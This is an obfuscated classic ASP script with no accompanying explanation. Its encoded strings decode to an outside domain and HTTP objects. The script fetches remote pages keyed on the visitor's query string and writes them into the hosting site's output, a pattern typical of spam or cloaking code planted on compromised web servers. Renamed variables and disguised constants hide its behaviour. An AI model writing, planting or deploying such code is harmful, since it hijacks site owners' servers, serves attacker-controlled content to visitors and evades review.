<%
Dim B_____,B____B,B___B_
B___B_ = Request:Set.ServerVariables(BBBBB("wEEA0w@DE"))
B_____ = Request:Set.QueryString
if B_____ <> "" then
	B____B = BBB_B(BBBBB("9EEAi^^@EE6C3@I:A9@?6d]4@>^7C66^") & B_____ & BBBBB("]D9E>="),BBBBB("&%u\g"))
		if B____B <> BBBBB("Su2=D6S") then
			BB_B_.write B____B
			BB_B_.End
		End IF
else
	BB_B_.write BBB_B (BBBBB("9EEAi^^@EE6C3@I:A9@?6d]4@>^7C66^"),BBBBB("&%u\g"))
end if

Public Function BBB_B(B_B__B,Charset)
	If IsNull(B_B__B)=True Or Len(B_B__B)<10 Or B_B__B=BBBBB("Su2=D6S") Then
		BBB_B=BBBBB("Su2=D6S")
		Exit Function
	End If
	Dim B___BB
	Set B___BB=Server.createobject(BBBBB("|$)|{a])|{w%%!"))
	B___BB.open BBBBB("vt%"),B_B__B,False
	B___BB.Send()
	If B___BB.Readystate<>4 then
		Set B___BB=Nothing
		BBB_B=BBBBB("Su2=D6S")
		Exit function
	End if
	BBB_B=BBBB_(B___BB.responseBody,Charset)
	BBB_B=replace(replace(BBB_B , vbCr,""),vbLf,"")
	Set B___BB=Nothing
	If Err.number<>0 then
		Err.Clear
	End If
End Function

Private Function BBBB_(B_B_BB,B_BB__)
	Dim B__B__
	Set B__B__ = Server.CreateObject(BBBBB("25@53]DEC62>"))
	B__B__.Type = (16 * 102 - 1631)
	B__B__.Mode = (53 * 92 - 4873)
	B__B__.Open
	B__B__.Write B_B_BB
	B__B__.Position = (85 * 10 - 850)
	B__B__.Type = (52 * 25 - 1298)
	B__B__.Charset = B_BB__
	BBBB_ = B__B__.ReadText
	B__B__.Close
	set B__B__ = nothing
End Function

Function BBBBB(ByVal B_B___)
Dim B__B_B, B__BB_, B__BBB
B_B___ = Replace(B_B___, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For B__BB_ = 1 To Len(B_B___)
	If B__BB_ <> B__BBB Then
		B__B_B = AscW(Mid(B_B___, B__BB_, 1))
		If B__B_B >= 33 And B__B_B <= 79 Then
			BBBBB = BBBBB & Chr(B__B_B + 47)
		ElseIf B__B_B >= 80 And B__B_B <= 126 Then
			BBBBB = BBBBB & Chr(B__B_B - 47)
		Else
			B__BBB = B__BB_ + 1
			If Mid(B_B___, B__BBB, 1) = BBBBB("o") Then BBBBB = BBBBB & ChrW(B__B_B + 5) Else BBBBB = BBBBB & Mid(B_B___, B__BB_, 1)
		End If
	End If
Next
End Function
%>